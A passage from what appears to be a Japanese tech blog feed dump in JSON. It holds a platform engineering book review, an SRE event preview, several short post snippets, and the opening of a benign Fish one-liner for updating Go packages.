ことで、エグゼクティブの継続的なサポートを得ることができました。この経験から、大規模投資の成功には、技術的な実現可能性とビジネス価値の両面からの綿密な検討が不可欠だと実感しています。優先順位付けと信頼ビジネスのボトルネックとなることを避けるための信頼構築について、著者はベロシティの文化醸成とプロジェクトの優先順位付けの重要性を説いています。私のチームでも、計画された作業と緊急の要求のバランスを取ることは常に課題でした。特に、「次の四半期のOKRまで待つ必要がある」という対応は、アジャイルなビジネス環境では受け入れられないという著者の指摘は、現実の組織運営と強く共鳴します。著者が紹介するDiego Quirogaの事例は、ボトルネック解消の実践的なアプローチを示しています。特に、セルフサービス化による効率化とサポート要求の分析に基づく改善は、私自身のプラットフォーム改善プロジェクトでも有効だった施策です。過度に結合したプラットフォームの教訓著者は、「バッテリー込み」アプローチの失敗事例を通じて、プラットフォームの過度な結合がもたらす問題を説明しています。この事例は、エンドツーエンドのワークフローを提供しようとするあまり、コンポーネント間の結合が強くなり、最終的に運用の安定性と機能追加の柔軟性を失ってしまうという、多くのプラットフォームチームが陥りがちな罠を見事に描き出しています。章全体からの学びこの章の最も重要な教訓は、信頼の構築には時間がかかるが、その喪失は一瞬であるという現実です。運用上の予期せぬ問題、ビジネスの急激な変化、チームの離職など、私たちの制御を超えた多くの要因が信頼を損なう可能性があります。そのため、プラットフォームリーダーには、日々の活動を通じて継続的に信頼を強化していく努力が求められます。特に印象的なのは、多くのプラットフォームリーダーが陥りがちな傲慢さへの警告です。技術的な正しさにこだわるあまり、顧客やステークホルダーの声に耳を傾けない態度は、長期的な成功の妨げとなります。プラットフォームの真の成功は、技術的な卓越性とビジネス要求への迅速な対応の両立にかかっているのです。この章の学びは、現代のクラウドネイティブ環境において、ますます重要性を増していくでしょう。プラットフォームの信頼性と柔軟性の両立、そして顧客との信頼関係の構築は、今後のプラットフォームエンジニアリングの成功に不可欠な要素となります。Chapter 13. Your Platforms Manage Complexity第13章「Your Platforms Manage Complexity」は、プラットフォームエンジニアリングにおける複雑性管理の本質と実践について深く掘り下げています。著者は、Donald A. Normanの「人々の望ましい行動ではなく、実際の行動に合わせて設計しなければならない」という言葉を引用しながら、複雑性管理が単なる技術的な課題ではなく、人間の行動や組織の現実を考慮に入れた総合的なアプローチを必要とすることを強調しています。 speakerdeck.com意図せぬ複雑性の管理複雑性管理の成功を測る重要な指標の一つは、アプリケーションチームが必要とする「グルー(接着剤)コード」の量です。私の経験では、プラットフォームチームが提供する抽象化が不適切な場合、アプリケーションチームは独自のグルーコードを書かざるを得なくなり、結果として全体の複雑性が増大してしまいます。特に注目すべきは、著者が指摘する「ヒューマングルー」の問題です。これは、技術的なグルーコードの削減を目指すあまり、人間による手動の調整や対応に依存してしまう状況を指します。私のチームでも、以前は運用上の問題解決に人間の介入を多用していましたが、これは持続可能な解決策ではありませんでした。このような課題に対して、私たちは自動化と適切な抽象化のバランスを重視するアプローチを採用しています。例えば、マイグレーションプロジェクトでは、所有権メタデータレジストリを活用し、チケットの自動割り当てと進捗管理を実現しました。これにより、人的なプロジェクト管理の負担を大幅に削減することができました。シャドウプラットフォームの管理シャドウプラットフォームの問題について、著者は完全な抑制ではなく、適切な管理の重要性を説いています。私の経験でも、アプリケーションチームによる独自のプラットフォーム構築を全面的に禁止することは、イノベーションの芽を摘んでしまう危険性があります。特に印象的なのは、シャドウプラットフォームを組織の学習機会として捉える視点です。あるプロジェクトでは、データサイエンスチームが構築した独自のプラットフォームを、最終的に全社的なソリューションへと発展させることができました。これは、パイオニア的なイノベーションとエンタープライズレベルの安定性のバランスを取る良い例となりました。著者が提示する「Single Pane of Glass」のアンチパターンの分析も示唆に富んでいます。統合UIの構築は一見魅力的に見えますが、実際にはベンダーツールの進化に追従することの難しさや、異なるユーザーペルソナのニーズへの対応など、予想以上の複雑性をもたらす可能性があります。成長の管理による複雑性制御著者は、無制限な成長が複雑性を増大させる要因となることを警告しています。これは私の実務経験とも強く共鳴します。特に印象的なのは、効率性の向上とチーム規模の拡大のバランスについての指摘です。私のチームでも、新しい課題に直面するたびに人員を増やすのではなく、まず既存のプロセスの効率化や自動化を検討するようにしています。著者が提案する「既存の領域での新しい作業は、そのチームの既存のメンバーによってまかなわれるべき」というルールは、実践的な指針として非常に有用です。これにより、チームは優先順位の明確化と効率化への投資を迫られ、結果として複雑性の管理にも寄与します。プロダクトディスカバリーを通じた複雑性管理プロダクトディスカバリーの重要性について、著者はオープンソースシステムの導入を例に説明しています。私の経験では、顧客の要求をそのまま受け入れてオープンソースシステムを提供するのではなく、真の要件の理解と適切な抽象化のレベルを見極めることが重要です。特に印象的なのは、データ処理系のOSSに関する事例です。PostgreSQL、Cassandra、MongoDBなどの広範なインターフェースを持つシステムの運用は、ユースケースと利用者の増加に伴って線形に複雑性が増大していきます。これは、多くのプラットフォームチームが直面する現実的な課題です。内部と外部の複雑性のバランス最後に著者が示すデータプラットフォームの事例は、複雑性管理の実践的なチャレンジを見事に描き出しています。10人程度のチームがPostgreSQL、Kafka、Cassandraなどの複数のOSSシステムを運用する中で直面した課題は、私自身の経験とも強く共鳴します。特に、運用負荷の増大と顧客要求の多様化のバランスを取ることの難しさは、多くのプラットフォームチームが直面する普遍的な課題です。著者が描写する改善の試行錯誤のプロセスは、とりわけ示唆に富んでいます。ベンダーのホステッドサービスへの移行、SLAの明確化、APIの完全なカプセル化など、様々なアプローチを試みながらも、それぞれに課題があったという経験は、私たちの組織でも同様でした。特に印象的なのは、これらの「失敗」を通じて、真の顧客ニーズの理解と実現可能な解決策の発見につながっていったという点です。最終的な解決策として導き出された、シンプルな(key, value)セマンティクスのプラットフォームと特定のユースケースに最適化されたSQL系システムの組み合わせは、複雑性管理の理想的なアプローチを示しています。これは、完璧な解決策を一度に実現しようとするのではなく、段階的な改善と顧客との密接な協力を通じて、持続可能な解決策を見出していく過程の重要性を示しています。章全体からの学びこの章の最も重要な教訓は、複雑性管理が継続的な取り組みであり、完全な解決は望めないという現実的な認識です。しかし、これは諦めるべき理由ではなく、むしろ組織の北極星として、継続的な改善の方向性を示す指針となります。私の経験からも、複雑性管理の成功には、技術的なソリューション、組織的な取り組み、そして顧客との協力の3つの要素が不可欠です。特に重要なのは、完璧を求めるのではなく、継続的な改善と学習のサイクルを確立することです。最後に、この章は現代のプラットフォームエンジニアリングが直面する本質的な課題に対する実践的な洞察を提供しています。複雑性の管理は、技術的な課題であると同時に、組織的な課題でもあります。プラットフォームエンジニアリングチームのリーダーとして、この両面からのアプローチを常に意識しながら、持続可能な改善を推進していく必要があるでしょう。Chapter 14. Your Platforms Are Loved第14章「Your Platforms Are Loved」は、プラットフォームエンジニアリングにおける「愛される」という概念の意味と重要性について深く掘り下げています。著者は、Tina Turnerの「What\'s love got to do with it?」という問いかけから始め、内部向けのツールが「愛される」必要があるのかという根本的な疑問に対して、説得力のある回答を提示しています。この章では、プラットフォームが単に機能するだけでなく、ユーザーに愛される存在となることが、実は生産性向上の重要な指標となることを示しています。愛されるプラットフォームの本質著者は、日常生活で私たちが愛用する道具を例に挙げ、プラットフォームが「愛される」とはどういうことかを説明しています。私の経験でも、最も成功したプラットフォームは、必ずしも最も高価なものや機能が豊富なものではなく、特定の目的に対して適切に設計され、信頼性高く動作するものでした。特に印象的なのは、著者が生産性の直接的な測定の難しさに触れながら、「愛される」ことを生産性の代理指標として捉える視点です。私のチームでも、以前は定量的なメトリクスにこだわりすぎて、実際のユーザー体験を見失いかけた時期がありました。単純な採用率や効率性の指標に固執すると、プラットフォームチームが制御しやすいシステムを作ることに注力してしまい、実際のユーザーニーズを見失うという著者の指摘は、多くのプラットフォームチームが陥りがちな罠を的確に描写しています。「単に動く」から「愛される」への進化著者が紹介するAmazonのApolloプラットフォームの事例は、プラットフォームが「愛される」ために必要な要素を具体的に示しています。特に印象的なのは、優れたUIと自動化インターフェース、強い意見を持った設計、そして必要に応じて抽象化を「突き破れる」柔軟性という3つの特徴です。『INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント』では、成熟したIT企業の製品開発に共通する3つの特徴として、リスクを開発の最終段階ではなく初期段階で積極的に特定・対処すること、製品の定義とデザインを順序立てて進めるのではなく協調的に同時進行させること、そして単なる機能実装ではなく本質的な問題解決にフォーカスすることを挙げています。また著者は、優れたプロダクトマネジャーの条件として、顧客、データ、自社ビジネス、そして市場・業界それぞれについての深い知見を持つことが不可欠だと説いています。こちらの方が良いでしょうか?プロダクトマネジメントの本質をよりシンプルに表現してみました。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon私のチームでも、最近完了したコンテナオーケストレーションプラットフォームの刷新プロジェクトで、これらの原則を意識的に取り入れました。特に、「システムの状態をUIが正確に反映している」という信頼性の確保と、「特殊なケースにも対応できる拡張ポイントの提供」というバランスの取れた設計により、ユーザーからの高い評価を得ることができました。ハックのような解決策も愛される理由著者が紹介する「Waiter」プラットフォームの事例は、特に示唆に富んでいます。技術的には「ハック」のように見える実装でも、ユーザーの実際の問題を解決し、摩擦を最小限に抑えることができれば、強く支持される可能性があることを示しています。私の経験でも、「理想的」な設計からは外れるものの、ユーザーの具体的な課題を解決する実装が、結果として大きな価値を生み出すケースを何度か経験しました。例えば、あるマイクロサービスプラットフォームでは、理想的なマイクロサービスアーキテクチャの原則から外れる実装を許容することで、開発者の生産性を大幅に向上させることができました。明白な価値提供による信頼獲得著者が紹介するS3互換オブジェクトストアの事例は、既知の価値と適切な実装の組み合わせの重要性を示しています。特に重要なのは、認知度、互換性、エンジニアリング品質、市場投入までの時間という4つの要素です。これは、私が過去に経験した失敗から学んだ教訓とも一致します。章全体からの学びこの章の最も重要な教訓は、プラットフォームが「愛される」ということは、単なる感情的な問題ではなく、実際の生産性と価値創出に直結するという点です。特にSmruti Patelの「マルチツール」という比喩は、プラットフォームの本質を見事に表現しています。私の経験からも、最も成功したプラットフォームは、必ずしも最新のトレンドを追いかけたものではなく、基本的な信頼性を確保しながら、ユーザーの実際の問題を着実に解決していくアプローチを取ったものでした。愛されるプラットフォームを構築するには、技術的な卓越性だけでなく、ユーザーとの深い信頼関係の構築が不可欠です。これは一朝一夕には達成できませんが、継続的な改善と誠実な対話を通じて、確実に実現できる目標なのです。おわりに本書は、プラットフォームエンジニアリングという営みが、技術を極めることと人に寄り添うことの両立を求められる実践であることを、様々な現場での経験を通じて描き出しています。技術的な卓越性を追求しながらも、組織の変革に寄り添い、ステークホルダーとの信頼関係を育み、持続可能な文化を醸成していくという総合的な視点は、現代のソフトウェア開発組織が直面する本質的な課題に対する深い洞察を提供しています。プラットフォームエンジニアリングは、技術的な基盤を「作って終わり」にするのではなく、組織とともに成長し続ける生命体のような存在です。それは、日々の地道な技術の研鑽と、組織やユーザーのニーズへの繊細な理解が融合することで初めて、真の価値を生み出すことができます。本書は、その困難な実践に挑戦する人々にとって、同じ道を歩む先達からの贈り物となるでしょう。今後のソフトウェア開発において、プラットフォームエンジニアリングはますます重要な役割を担っていくことでしょう。しかし、その本質は変わることなく、技術を極めることと人に寄り添うことの両立にあり続けるはずです。本書で示された知見をもとに、各組織が自らの文脈に即した実践を積み重ね、技術と人間性が調和した真に価値あるプラットフォームエンジニアリングを実現していくことを願ってやみません。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-10-24T21:06:00.000Z","dateMiliSeconds":1729803960000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得","link":"https://sreake.com/blog/aws_partner/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 アマゾン ウェブ サービス(以下AWS)の AWS パートナープログラムにおける「内製化支援推進 AWS パートナー」に認定されたことをお知らせします。The post スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-23T01:00:00.000Z","dateMiliSeconds":1729645200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでndjson形式のログを解析する","link":"https://blog.atusy.net/2024/10/22/anaylze-ndjson-logs-in-r/","contentSnippet":"最近、ndjson形式のログをRで解析しました。やはりtidyverseを使える体験のよさは他の追随を許しません。ただ、ndjson形式を直接読み込む方法を知らずに、jqコマンドを使って通常のJSON形式に変換してから読み込んでいました(cat file.ndjson | jq -c -s . > file.json)。読み込みからRで完結したいと思ったので、方法を調べてみました。","isoDate":"2024-10-22T00:00:00.000Z","dateMiliSeconds":1729555200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubernetesセキュリティDeep Dive","link":"https://sreake.com/blog/kubernetes-security-deep-dive/","contentSnippet":"自己紹介 高橋 楓 公立千歳科学技術大学理工学部2年の高橋楓です。普段は趣味や他社の長期インターンにてソフトウェア開発を行っており、インフラ基盤にはDockerを利用しています。しかし、KubernetesやGoogle […]The post KubernetesセキュリティDeep Dive first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-21T11:49:27.000Z","dateMiliSeconds":1729511367000,"authorName":"Sreake","authorId":"Sreake"},{"title":"生成AI入門","link":"https://speakerdeck.com/shukob/sheng-cheng-airu-men-340f58db-c1be-4877-92b9-7fbf1df3105e","contentSnippet":"https://genai-users.connpass.com/event/333130/\\rOSCオンラインで生成AIの基礎知識から、実際に活用できる技術まで、幅広く解説しました。\\r\\r生成AIとは何か、その仕組みを解説します。\\r生成AIモデルを比較し、具体的なユースケースを紹介します。\\rプロンプトエンジニアリング、RAG (Retrieval Augmented Generation)などの技術を説明します。\\rオープンソースライブラリLangChainについてご紹介します。\\r最後に生成AIが社会に与える影響や、今後の展望について考えます。","isoDate":"2024-10-19T04:00:00.000Z","dateMiliSeconds":1729310400000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"k6 DevTools recorder を使ってみた","link":"https://zenn.dev/z63d/articles/0da90534fe5964","contentSnippet":"k6 DevTools recorder とはk6 のブラウザテストのスクリプトを生成してくれるツール(Chrome 拡張機能)です。Chrome DevTools Recorder を使って記録したフローをスクリプトに変換してくれます。https://grafana.com/docs/k6/latest/using-k6/test-authoring/create-tests-from-recordings/using-the-devtools-recorder/ 使ってみるCreate a script from a recording に使い方が書いてあります。C...","isoDate":"2024-10-16T12:00:33.000Z","dateMiliSeconds":1729080033000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"スリーシェイク、「Developers X Summit 2024」に出展","link":"https://sreake.com/blog/developers-x-summit-2024/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年11月14日(木) に開催される「Developers X Summit 2024」にブース出展することをお知らせします。The post スリーシェイク、「Developers X Summit 2024」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-15T01:36:55.000Z","dateMiliSeconds":1728956215000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「大規模システムの効率的運用の裏側」というイベントに登壇するのでどんなこと話すか整理する #aeon_tech_hub","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/15/101516","contentSnippet":"大規模システム運用の難しさは、その規模と複雑性に起因します。開発する人も多く、運用に関わる人間も多く、そしてシステムの性能や信頼性を評価する人間も多数います。この多様な関係者の利害が複雑に絡み合う中、技術的な課題に加え、人的・組織的な課題も顕著になります。さらに、複雑に構成されたシステムコンポーネントと日々向き合いながら、刻々と変化するビジネスの要求に応えていく必要があります。これらの要因が重なり合い、大規模システムの運用を極めて困難なものにしているのです。aeon.connpass.comはじめにこのたび、2024年10月23日に開催予定の「<Platform Engineering、DevOps、CCoE>大規模システムの効率的運用の裏側」というイベントに登壇者としてお呼びいただきました。大規模システムの効率的運用は非常に複雑な課題であり、アンチパターンはあっても画一的な正解はないと考えています。時に、人的・組織的な制約から、アンチパターンと言われるような策を採用せざるを得ない状況もあるでしょう。システム運用アンチパターン ―エンジニアがDevOpsで解決する組織・自動化・コミュニケーション作者:Jeffery D. SmithオライリージャパンAmazonこのような複雑な背景を持つ大規模システムの運用について議論する機会をいただき、大変光栄に思うとともに、その難しさも痛感しております。このブログでは、イベントの概要をお伝えするとともに、私が登壇者として特に議論したいと考えているポイントをご紹介します。大規模システムの効率的な運用に関心のある方々に、このイベントが提供する価値と、当日予想される議論の展開について、参考情報を提供できればと思います。イベント概要と登壇の意気込み「大規模システムを少人数で効率的に、そして安全に運用する工夫」をテーマにしたパネルディスカッションに登壇することになりました。このイベントでは、大規模システムの効率的な運用に関する最新のトレンドと実践的なアプローチについて議論したいです。イベントで期待すること時間の制約があるため、全ての話題を深く掘り下げることは難しいですが、以下のような内容について議論できればと思っています。1. 運用設計の重要性の再確認大規模システムの運用における設計の重要性について、特にプロセスの標準化と自動化について様々な観点から議論が展開されることを期待しています。特に注目したいのは、継続的デリバリーに関する最新トレンドです。これらは、効率的な運用の基盤となるものであり、常に進化し続けています。同時に、効果的な監視(Monitoring)と観測可能性(Observability)確保のベストプラクティスも重要なトピックです。システムの健全性を常に把握し、問題を早期に発見・対処するための手法は、大規模システム運用の要となります。さらに、実際の現場での継続的改善サイクルの実践例と、それに伴う課題についても深く掘り下げたいと考えています。理論と実践のギャップを埋め、実効性のある改善活動を展開するための知見が共有されることを期待しています。最後に、大規模システム特有のリスク管理とインシデント対応の効果的アプローチについても議論したいと思います。予期せぬ障害や障害への迅速かつ適切な対応は、システムの信頼性維持に不可欠です。これらのトピックを通じて、参加者の皆様が自身の環境で「次に効率化に取り組むべき観点」を見出すヒントになればと思います。限られた時間ではありますが、できるだけ具体的な事例や実践的なアドバイスを共有できるよう努めたいと考えています。運用設計の重要性を再確認し、その効果的な実践方法について深い洞察を得られる場となることを目指したいです。2. 現代的アプローチによる大規模システム運用の効率化大規模システムの効率的な運用を実現するためには、Platform Engineering、DevOps、CCoE(Cloud Center of Excellence)、そしてSRE(Site Reliability Engineering)といった現代的なアプローチの統合的な活用が不可欠です。これらの概念は、それぞれが独自の強みを持ちながら、相互に補完し合うことで、システム運用の効率性と信頼性を大きく向上させます。これらをスピーカーの方々がどう展開していくか楽しみです。各概念については概要とおすすめ資料を貼っておきます。2.1 Platform EngineeringPlatform Engineeringは、開発者の生産性向上と業務効率化の要となる重要な分野です。議論の中心となるのは、開発者体験(Developer Experience)向上の具体的な方策です。これには、内部プラットフォーム構築のケーススタディやセルフサービス化によるデベロッパーの生産性向上が含まれます。また、プラットフォームの標準化と柔軟性のバランスを取ることの重要性も探ります。これらのトピックについて理解を深めるため、以下の資料も参考にしてほしいです。cloud.google.com speakerdeck.comlearning.oreilly.com speakerdeck.com2.2 DevOpsDevOpsの実践は、開発と運用の壁を取り払い、より効率的なシステム運用を実現します。ここでは、開発と運用の統合によるメリットと課題、CI/CDの最新プラクティスと導入のポイントについて議論したいです。「You build it, you run it」原則の実践方法や、自動化とツール化の成功事例も重要なトピックとなります。これらの議論を深めるため、以下の資料も参考にしてほしいです。learning.oreilly.comlearning.oreilly.comcloud.google.comweb.devopstopologies.comwww.ryuzee.com speakerdeck.com2.3 CCoE(Cloud Center of Excellence)CCoEは、組織全体のクラウド活用を最適化し、ガバナンスを確立する上で重要な役割を果たします。クラウドベストプラクティスの確立と普及方法、マルチクラウド環境でのガバナンス戦略、クラウドコスト最適化の具体的アプローチなどが主要な議論のポイントとなります。これらのトピックについて、以下の資料も参考にしてほしいです。aws.amazon.comtechblog.ap-com.co.jpDXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonca-srg.dev2.4 SRE(Site Reliability Engineering)[おまけ]SREは、システムの信頼性を維持しながら、イノベーションを促進するための重要な概念です。SLI(Service Level Indicator)とSLO(Service Level Objective)の効果的な設定と運用、エラーバジェットの活用による信頼性とイノベーションのバランス管理について議論したいです。また、トイル(反復的な手作業)の削減戦略とその効果、インシデント管理とポストモーテムの実践についても触れる予定です。これらのトピックについて、以下の資料も参考にしてほしいです。www.oreilly.co.jp speakerdeck.com speakerdeck.comsyu-m-5151.hatenablog.com各セッションでの私は、これらの資料を参考にしつつ、最新の事例や実践的なアプローチについて議論を展開したいです。参加者の皆様にとって、自組織での適用に役立つ具体的な知見を得られる機会となることを期待しています。3. 大規模システムの効率的運用の課題と対策についての議論大規模システムを少人数で効率的に運用するには、技術面だけでなく組織面での工夫も重要です。このセッションでは、実際の運用現場で直面する課題とその対策について、私の経験から得た洞察を共有します。これらのトピックについても登壇者や参加者の皆さまと当日お話ができれば嬉しいです。当日はおそらく具体性の高いテーマについてそれぞれ話すと思うのですが、ここでは私のスタンスを決めておくために抽象的な話をしたいと思います。具体と抽象作者:細谷 功dZERO(インプレス)Amazonまた、人の具体的な技術や現場の話を聞く時のコツは相手がどのような立場の人間でどういう悩みをもっているか想像したり知ることで理解が深まります。この点について、コミュニケーションの観点からさらに掘り下げると、以下のような考察ができます。相手の立場や悩みを想像することで理解が深まるのは、各個人が独自の知識体系や思考の枠組みを持ち、認知バイアスの影響を受けているため、効果的なコミュニケーションには相手の考えや感情を推測する能力と自己の思考を客観視する能力が重要だからです。これらの点を意識することで、大規模システムの運用に関する議論や情報共有がより実りあるものになると考えています。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazon3.1 大規模システム運用の現実と組織的課題理想的な運用モデルと実際の運用現場のギャップについて考察したいです。理論と実践の乖離を埋めるための具体的なアプローチや、現場の声を活かした運用モデルの最適化事例を聞きたいです。また、少人数チームでの大規模システム運用における組織的な課題とその解決策を探りたいです。リソース制約下での効果的なタスク分配と優先順位付け、クロスファンクショナルスキルの育成による柔軟な人員配置などが重要なポイントとなります。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon3.2 効率的な運用を支える組織文化の構築HRT(Humility, Respect, Trust)原則を基盤とした少人数チームの強化方法について議論したいです。チーム内でのオープンなフィードバック文化の醸成や、相互理解と信頼関係を深めるためのチームビルディング活動の重要性を強調したいです。さらに、システム/サービスの価値を組織全体で共有するための効果的なコミュニケーション手法を探りたいです。定期的な全体会議やニュースレターを活用した情報共有、ビジュアライゼーションツールを用いたシステム価値の可視化などが具体的な方策となります。Team Geek ―Googleのギークたちはいかにしてチームを作るのか作者:Brian W. Fitzpatrick,Ben Collins-SussmanオライリージャパンAmazon3.3 段階的アプローチによる運用改善と組織変革スモールスタートの重要性と組織全体への展開方法を議論したいです。パイロットプロジェクトの選定と成功事例の横展開、段階的な改善プロセスの設計と各フェーズでの評価指標の設定などが重要です。また、少人数チームでの定点観測会の効果的な運営とステークホルダーマネジメントについて考察したいです。データ駆動型の定点観測会の実施方法と成果の可視化、ステークホルダーの期待値管理と効果的な報告体制の構築などが焦点となります。業務改革の教科書--成功率9割のプロが教える全ノウハウ (日本経済新聞出版)作者:白川克,榊巻亮日経BPAmazon3.4 大規模システムの効率的な運用設計と組織的活用少人数チームの生産性を向上させる運用設計の実践事例を聞きたいです。標準化されたプロセスとツールの導入によるチーム効率の向上、自動化を活用した日常的なオペレーションの効率化、チーム間のナレッジ共有を促進する仕組みづくりなどが重要なポイントです。また、組織の成長に合わせた運用設計の進化と最適化について議論したいです。スケーラブルな運用モデルの設計と段階的な導入方法、変化する事業ニーズに柔軟に対応できる運用設計のアプローチ、継続的な改善サイクルを組み込んだ運用設計プロセスの確立などが焦点となります。「変化を嫌う人」を動かす: 魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル草思社Amazon3.5 技術的改善の価値を組織全体で共有する方法「信頼性は会話です」という考え方を組織文化に組み込む実践例を聞きたいです。定期的な信頼性レビュー会議の実施と改善点の共有、チーム横断的な信頼性向上タスクフォースの設置などが具体的な方策となります。また、ITIL 4フレームワークを活用した組織横断的な価値創出事例を共有し、ITILのベストプラクティスを組織の特性に合わせてカスタマイズする方法やサービス価値システムの構築と継続的な最適化プロセスについて議論したいです。さらに、少人数チームの技術的改善を経営層に効果的に伝えるテクニックを探りたいです。ビジネス指標と技術指標を紐付けた改善効果の可視化、経営層向けダッシュボードの設計と定期的な報告会の実施などが重要なポイントとなります。【ITIL4公認】ITIL 4の基本 図解と実践作者:中 寛之日経BPAmazon3.6 継続的な改善を推進する組織体制の構築「始めるより続けることの方が難しい」という現実に対する組織的アプローチを議論したいです。長期的な改善ロードマップの設計と定期的な見直しプロセス、改善活動の成果を評価・表彰する仕組みの導入などが焦点となります。また、少人数チームでの理論、実践、モチベーションのバランスを保つ具体的な方法を探りたいです。学習と実践のサイクルを組み込んだ業務設計、チーム内でのスキルマトリクスの活用と成長機会の創出などが重要なポイントです。企業変革のジレンマ 「構造的無能化」はなぜ起きるのか作者:宇田川元一日経BPAmazon3.7 運用原則の組織への効果的な導入新しい運用原則の導入事例と組織全体への展開方法を聞きたいです。運用原則の核心的要素の段階的導入計画(例:SREの場合のエラーバジェット概念)、新しい運用文化の醸成とエンジニアリング組織全体への浸透策、様々な運用原則(SRE、DevOps、ITIL等)の基本概念を組織に適用する方法などが焦点となります。また、定量的指標を活用した組織的な意思決定プロセスについて議論し、サービスレベル目標(例:SLO)の設定プロセスとステークホルダーとの合意形成手法、リスクベースの優先順位付けと資源配分のための指標活用(例:エラーバジェット)などを探りたいです。さらに、インシデント管理と事後分析を組織の学習文化に組み込む方法を考察し、責任追及ではなく改善を重視する文化を醸成するための事後分析ガイドラインの策定、インシデントからの学びを組織知識として蓄積・活用するナレッジマネジメントシステムの構築などについて議論したいです。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazon大規模システムの効率的な運用は、技術と組織の両面からのアプローチが不可欠です。少人数チームでの運用という制約の中で、いかに組織の力を最大限に引き出し、システムの安定性と効率性を両立させるか。この課題に対する様々な視点と解決策について、参加者の皆様と活発な議論ができることを楽しみにしています。おわりにこのイベントが、大規模システムの効率的な運用に関する深い洞察と実践的な知見を共有される場となることを強く期待しています。Platform Engineering、DevOps、CCoE、SREの概念を適切に組み合わせ、各組織の特性に合わせてカスタマイズする方法について、参加者全員で活発な議論ができることを楽しみにしています。大規模システムの運用の正解は常に変化し続けるものです。このイベントでの学びを通じて、参加者それぞれが自社のシステム運用を見直し、改善していくきっかけになれば幸いです。登壇者の一人として、皆様と直接対話し、互いの経験や知見を共有できることを心から楽しみにしています。ぜひ多くの方にご参加いただき、一緒に大規模システムの効率的な運用について語り合いましょう!イベントの詳細や参加方法については、イベント公式ページをご確認ください。皆様のご参加を心よりお待ちしております。なお、このブログは私の思いつくままに書いたため、やや散文的になってしまいました。しかし、ここに記した考えや情報が、大規模システムの運用に関わる方々にとって何かしらの参考になれば幸いです。私自身、このイベントを通じてさらに学びを深め、より洗練された見解を得られることを楽しみにしています。www.youtube.com","isoDate":"2024-10-15T01:15:16.000Z","dateMiliSeconds":1728954916000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[Sidecar Containers] Pod Eviction 時のメッセージの改善","link":"https://zenn.dev/toversus/articles/d78254ad757094","contentSnippet":"はじめに先日 Kubernetes で報告されていたバグを修正する PR を送りました。その時に、今後 Kubernetes へのコントリビュートを考えている方の参考になればと思い、どう取り組んだか (Issue の読み解き方やローカル環境での再現、コードの修正、テストの追加などの一通りの流れ) を脳内ダンプして言語化してみました。それを社内向けに共有していたのですが、PR も無事にマージされたので、一部加筆修正して記事として公開します。Issue: [Sidecar Containers] Eviction message should account for the sid...","isoDate":"2024-10-14T07:39:56.000Z","dateMiliSeconds":1728891596000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展","link":"https://sreake.com/blog/biz-zine-day-2024-autumn/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年10月30日(水) に開催される「Biz/Zine Day 2024 Autumn」にブース出展することをお知らせします。The post スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-10T01:18:48.000Z","dateMiliSeconds":1728523128000,"authorName":"Sreake","authorId":"Sreake"},{"title":"FishでGoパッケージを一括更新したいのでワンライナー","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/09/180510","contentSnippet":"はじめにGoプログラマーにとって、パッケージを最新の状態に保つことは重要な作業だ。しかし、複数のパッケージを個別に更新するのは時間がかかり、効率が悪い。そこで今回は、Fishシェルを使用してGoパッケージを一括更新する堅牢なワンライナーを紹介する。このワンライナーは、様々な環境設定に対応できる柔軟性を持ち、効率的にパッケージを更新できる強力なツールだ。ワンライナーの全容まずは、このワンライナーの全体像を見てみよう。set -l gobin (go env GOBIN); test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin; for f in $gobin/*; if test -x $f; set pkg (go version -m $f | awk \'/mod /{print $2}\'); test -n \\"$pkg\\" && go install \\"$pkg@latest\\"; end; end一見複雑に見えるこのコマンドだが、実は論理的に構成された複数の処理の組み合わせである。以下、各部分の役割と動作原理を詳しく解説していく。ワンライナーの解剖dic.pixiv.net1. GOBINの設定と確認set -l gobin (go env GOBIN); test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin;この部分は、Goバイナリのインストール先ディレクトリを特定する役割を果たす。set -l gobin (go env GOBIN):GOBINの値を取得し、ローカル変数gobinに格納する。test -z \\"$gobin\\" && set gobin (go env 